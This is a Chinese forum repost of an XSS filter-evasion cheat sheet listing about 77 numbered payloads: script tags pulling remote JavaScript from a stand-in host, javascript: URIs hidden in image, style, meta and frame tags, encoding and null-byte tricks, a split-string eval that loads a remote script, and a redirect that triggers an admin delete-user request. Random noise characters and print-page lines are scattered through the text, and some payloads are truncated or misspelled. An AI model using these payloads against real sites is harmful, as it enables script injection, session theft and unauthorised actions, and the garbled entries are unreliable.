貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
6 I! R9 |8 Y- u. g6 s/ c8 f7 q9 C(1)普通的XSS JavaScript注入& {, l/ |% H" q! t
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
* s" ?1 t( v$ B/ j- a, G- ?(2)IMG标签XSS使用JavaScript命令- v3 O1 N3 l) S! I+ C5 ?7 |
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>" H) f7 O. j3 n
(3)IMG标签无分号无引号
( N. u0 i5 _4 Q<IMG SRC=javascript:alert(‘XSS’)>
# c9 f0 d% X1 s8 E6 A(4)IMG标签大小写不敏感
$ [+ A/ k# v' y, ?6 Z<IMG SRC=JaVaScRiPt:alert(‘XSS’)>! L! g3 D8 b3 K% Q, K) i/ q
(5)HTML编码(必须有分号)
3 R' R' J7 p R9 Z<IMG SRC=javascript:alert(“XSS”)>5 |. p' D* W8 ~1 m5 I
(6)修正缺陷IMG标签
; n% N8 T) A9 h4 q( U% m/ E! a<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
9 f9 L5 u7 H3 ?. i
7 d; T. U3 Y8 K* D: P' [+ } x( Y- m. v
(7)formCharCode标签(计算器)1 p' h- _( e. ]1 o" G' l
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
* k& s; _9 N. W% n" n(8)UTF-8的Unicode编码(计算器)& J) X o t- X, j
<IMG SRC=jav..省略..S')>
* q7 V! p# q7 N' {) R( q(9)7位的UTF-8的Unicode编码是没有分号的(计算器)& \5 A5 p( r4 }; Z- p7 Q! R' N) z$ {
<IMG SRC=jav..省略..S')>
) L, o. A- k, H( @! p1 z(10)十六进制编码也是没有分号(计算器)
( X: R4 M9 N: y- }( g) b7 c<IMG SRC=java..省略..XSS')>
R, m O' h6 A' b u(11)嵌入式标签,将Javascript分开% A: _8 i# ]' p8 W) I
<IMG SRC=”jav ascript:alert(‘XSS’);”>
9 d" l$ Z; p# L: q, M, W(12)嵌入式编码标签,将Javascript分开
2 o5 C9 n5 W$ a<IMG SRC=”jav ascript:alert(‘XSS’);”>
( e) x8 R( q& r! k. ?(13)嵌入式换行符
9 ?! Z% h& s+ o+ E/ a( c/ d0 ~<IMG SRC=”jav ascript:alert(‘XSS’);”>" U+ t- H" k1 b C* Z/ g
(14)嵌入式回车& {* X% ]7 a7 Q) D; z5 z L( H% g
<IMG SRC=”jav ascript:alert(‘XSS’);”>* Y9 M- @9 Z* K8 [, T* C! z3 m# U
(15)嵌入式多行注入JavaScript,这是XSS极端的例子2 K6 S/ k2 K O" _
<IMG SRC=”javascript:alert(‘XSS‘)”>
/ u* f: u, r1 i# n1 K3 T(16)解决限制字符(要求同页面)
! ^: h& [6 a' x% Z* h$ m<script>z=’document.’</script>/ B% c0 g2 t" n5 F+ R/ n
<script>z=z+’write(“‘</script>
* V$ a3 [6 Z+ s7 r<script>z=z+’<script’</script>
$ u+ V9 Y5 m8 H" a/ |5 q7 Q<script>z=z+’ src=ht’</script>0 ]/ k) g9 M3 P0 x; N7 A: P
<script>z=z+’tp://ww’</script>$ _) h9 K) J* b6 g7 m
<script>z=z+’w.shell’</script>
) {" o, _% L: ~( t/ U0 `<script>z=z+’.net/1.’</script>
) V9 h! L6 H2 y( ?2 Q<script>z=z+’js></sc’</script>. \! w" s% @4 E3 f; V
<script>z=z+’ript>”)’</script>
- i; E6 X: j v8 A: J) v8 k/ ^: g/ n<script>eval_r(z)</script>1 j( C/ \" q1 M' [- e8 k- q
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
8 G4 D% C4 v- R7 ]5 U# Q$ r. whttps://www.t00ls.net/viewthread ... table&tid=15267 2/6
: o8 S7 p3 o7 C- y8 \perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out- T3 X/ E7 Y. S8 K0 P+ b
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用2 Q1 p$ O- ] n) G/ ]* o! c% a
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
! c' N$ R! |$ o7 k(19)Spaces和meta前的IMG标签
0 g, V8 g; g" f# X4 e% K$ {<IMG SRC=” javascript:alert(‘XSS’);”>
A3 s4 O+ W C(20)Non-alpha-non-digit XSS
5 R/ ]' t9 @* V9 K% x. S7 S<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>2 k8 d4 \' ^, U
(21)Non-alpha-non-digit XSS to 2
- t. _' w0 ]- q<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
5 { A; F4 M6 \9 Q i(22)Non-alpha-non-digit XSS to 3
6 n) L6 E% J Y; t<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>, e8 `: G, C$ j3 ^7 l
(23)双开括号! ^; Z8 P3 j' U* D% s- G
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
' r' H6 T; b; C. ~4 \* Z2 h(24)无结束脚本标记(仅火狐等浏览器)( ~8 w2 M% E! M5 c) H) h7 r/ x( D
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
; r8 P- d* G. ]/ [3 m8 Y& v$ K3 [(25)无结束脚本标记2
8 m6 r/ X( |+ v4 ]$ G0 T<SCRIPT SRC=//3w.org/XSS/xss.js>. \. ?; a' w' G3 B
(26)半开的HTML/JavaScript XSS
4 k% n9 N0 G0 M# v" w<IMG SRC=”javascript:alert(‘XSS’)”
& Y1 h8 @* Q- ?; t9 |$ r(27)双开角括号
/ e: B! W+ n2 Q5 ]0 U$ P# Z& Q1 T<iframe src=http://3w.org/XSS.html <
- \- h9 j# ^( S" p(28)无单引号 双引号 分号
! `, z& r1 J- e/ `<SCRIPT>a=/XSS/
7 C1 n. {& V3 c3 ^' ]alert(a.source)</SCRIPT>2 } @$ J3 ?# d D* r! F/ d0 m+ C! \
(29)换码过滤的JavaScript
' C; U; n" p+ h) r0 Z\”;alert(‘XSS’);//
7 } N: o+ E9 R( [(30)结束Title标签
5 u3 R1 r* j4 ]1 P3 d$ W& X2 B</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
9 S* j0 D) ?0 B; h, `) q(31)Input Image* J( b5 ]6 j: _6 M2 k: q9 S2 q
<INPUT SRC=”javascript:alert(‘XSS’);”>
% a8 F3 `( K2 T9 S! _(32)BODY Image
. r1 `% Y8 F, z( [<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
: ` @. Z" J+ N) M+ G( U(33)BODY标签! {& s& X$ u4 _) ]
<BODY(‘XSS’)> Z) t# t( G$ `8 U" k4 Y I
(34)IMG Dynsrc
# j' p# h! A! _5 f! {<IMG DYNSRC=”javascript:alert(‘XSS’)”>. n# Z9 a% Z1 O7 x8 k) h' o4 a2 c, b
(35)IMG Lowsrc
2 s6 v' K1 S6 |3 K) J. n" A7 N<IMG LOWSRC=”javascript:alert(‘XSS’)”>: b# t, ]5 e0 R7 j
(36)BGSOUND
! D7 X7 ^' x1 O4 N<BGSOUND SRC=”javascript:alert(‘XSS’);”>+ t8 r$ q# S ^, }
(37)STYLE sheet
; j: S& X8 w1 z. b% G0 S3 K<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>8 c0 v, g6 F. n
(38)远程样式表
A7 N0 A1 e5 t9 }<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>6 _% Q0 ]( V- E! T8 ~
(39)List-style-image(列表式)
$ a" x" ^/ t2 m# ^<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS+ Q2 y& i8 ?0 T2 ?
(40)IMG VBscript3 `3 W3 ?0 ]6 e$ H4 e2 }5 X1 v1 E
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
' V g3 [3 Y; h: l(41)META链接url, Z3 i; L$ r. u; f8 ~0 K
. ~' i/ _6 `) F p7 p1 h# R% O9 f( ?' a5 s2 F2 j8 C- W( n
<META HTTP-EQUIV=”refresh” CONTENT=”0;7 F1 v1 K3 a$ f& w
URL=http://;URL=javascript:alert(‘XSS’);”>
& F) |% ]& S. f2 a, s# z* U(42)Iframe
[; M$ {/ p6 r' R' i<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>& U0 g6 [. P* H; d
(43)Frame
3 J$ @* I* Z* o! P* Z4 D5 k2 F<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board- g" m& m( T6 J% ?) `8 g, W6 }
https://www.t00ls.net/viewthread ... table&tid=15267 3/6! L. f: d o$ t1 K' @8 F
(44)Table
* S6 s8 E- I5 h: K Q# X<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
1 `. |8 H* L! t) e }4 p(45)TD
" j& c# `2 ]" X<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
8 ~- k* W+ Z. e* Y- x& S4 `(46)DIV background-image8 i5 |8 ~. ?/ j' q% q; U7 K
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>0 V, X& k2 v# W( F' q" s
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-9 _; U/ ?) \) L% |) ]3 E* S
8&13&12288&65279)
& _0 u2 o) G2 z: h& i' K# V<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>. [! k4 n7 [0 G
(48)DIV expression
6 q* U4 x! m. y; Q9 x- D! e<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
) B8 N: v8 I0 J+ h8 F(49)STYLE属性分拆表达
) z4 j/ E( E1 @3 w<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
+ Z$ z/ Q. c# k1 f' Y T) h# a# t(50)匿名STYLE(组成:开角号和一个字母开头)- g, |! u: m2 l! ?9 W, C z
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>& c7 E$ o( c/ e- g* b
(51)STYLE background-image
) `8 B) t6 A5 z1 ?) c) w<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A/ ]# e8 r; p6 h# D- g# l
CLASS=XSS></A>5 A' O8 Y: `+ Q4 b G% i
(52)IMG STYLE方式
5 @' r: u8 g$ J) ]; Kexppression(alert(“XSS”))’>* V5 r, w! c; _- L4 K4 q8 X+ w% n
(53)STYLE background u7 \0 X- ]' l. h
<STYLE><STYLE2 i! B) o* c; M/ Y) F+ L. v! \
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> [1 T" |$ ?. R; q+ T8 G; O
(54)BASE p8 C' @( @4 \* Z1 \* ]: ?: Z% k
<BASE HREF=”javascript:alert(‘XSS’);//”>
( j$ o& }7 b' {" s9 n(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS" U* g- e; w3 l. B
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>5 ~) ?+ f; q. g3 q: ~* H
(56)在flash中使用ActionScrpt可以混进你XSS的代码$ K. ?* M( g5 Q8 g9 @7 l
a=”get”;
) B, W" I2 I+ T, |' L; E% P8 u' I' mb=”URL(\”";
6 T7 H1 n* } p/ g7 ]c=”javascript:”;
6 m! Z" e0 s( G% u6 w0 l* t1 M( G+ ?d=”alert(‘XSS’);\”)”;" l9 y% R/ Q8 S& S! K$ O0 C/ }
eval_r(a+b+c+d);
1 V4 `9 Y+ m. \, ]! y) D(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
! t7 O$ Y3 P- X' f/ b) f) C. m) E<HTML xmlns:xss>% z3 S) U- [ O! A2 W' ] z; y
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>! y8 w6 z* h6 [) z
<xss:xss>XSS</xss:xss>
% v* ]$ L0 U, k3 Q</HTML>
' d \! R4 s0 s# V, y(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
* q7 S2 Z. i9 p9 a! Y<SCRIPT SRC=””></SCRIPT> n, j6 z7 _- B6 O0 O& _
(59)IMG嵌入式命令,可执行任意命令) U, v) U$ T2 u( Y% [5 Q) c4 a
<IMG SRC=”http://www.XXX.com/a.php?a=b”>, ?3 q$ z( a: c1 s# Z
(60)IMG嵌入式命令(a.jpg在同服务器)% x6 F: [/ ^; I% m( I* l# }8 r4 [
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
% Z" S/ z0 Z; P: B(61)绕符号过滤
6 ]! I2 F: d! j0 b<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
" t. g1 ]2 x: G( e* }(62). T! k' d: e* W4 z0 l! K; G
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
! D' A2 W/ f8 g(63)
( _, I( }, G# q1 Y: q<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
+ j& T3 D) e$ I7 F( L. P. P) d(64)
# R/ K! ~0 H8 P8 t<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
$ w, A _' x( V- X' N) k(65)
# [2 y2 S ?( M" \4 C& e' T<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>' h0 R/ n% n# W6 T9 T) z
(66)12-7-1 T00LS - Powered by Discuz! Board
' N# q; t1 Y4 thttps://www.t00ls.net/viewthread ... table&tid=15267 4/6
1 D$ o0 @# u) X9 k<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>- \0 i$ _5 S. n3 l/ u9 X
(67)
& R3 m1 ~+ d4 e& {8 }; d<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
; @4 r7 {2 {2 V8 W. \</SCRIPT>8 n' K! g6 F) m, I
(68)URL绕行
" [2 ~( L4 p1 p9 ^/ q<A HREF=”http://127.0.0.1/”>XSS</A>
# D1 ?- X5 }* v/ ^(69)URL编码7 M) \1 R& O! B
<A HREF=”http://3w.org”>XSS</A>
; O0 y y9 ~( Z9 T' ](70)IP十进制: A9 t8 x, L, ~2 S! F J' h
<A HREF=”http://3232235521″>XSS</A>
9 I( L' g- \8 D7 W0 v0 y(71)IP十六进制) G& i, }) S' q5 n, o- V! |
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
! a6 s+ ~. d% O; I2 c+ `% ~( b(72)IP八进制5 w3 b8 n8 o4 w) N9 w
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
0 s2 |6 _" c) Y8 h! W, I# J# r$ @& }" N(73)混合编码8 a, O! Q$ z6 a; ^7 [" H/ ]1 F
<A HREF=”h* F6 g. D8 ?& n" X( U# O5 l
tt p://6 6.000146.0×7.147/”">XSS</A>( B6 D4 x2 {0 ]/ H- J: Z
(74)节省[http:]
7 w3 i; }. H7 r/ n* x7 _% m- A<A HREF=”//www.google.com/”>XSS</A>9 e$ h# g+ d8 ~: e
(75)节省[www]/ R6 X5 X+ }8 {& }' P
<A HREF=”http://google.com/”>XSS</A>9 L% I6 [' L- a/ O" F
(76)绝对点绝对DNS' b0 n" \* V! V. z
<A HREF=”http://www.google.com./”>XSS</A>
- {3 q- Q3 \- P7 f2 C(77)javascript链接0 h# C2 }4 i7 e- K+ z
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>; \. T9 d5 G+ x( r/ B0 X. q, S. G( p
7 M5 I! l4 Y. `. N) s" q4 O- E原文地址:http://fuzzexp.org/u/0day/?p=14
! y6 P) y. C( Y. X! ?# {! h% u" e9 G8 d' o
|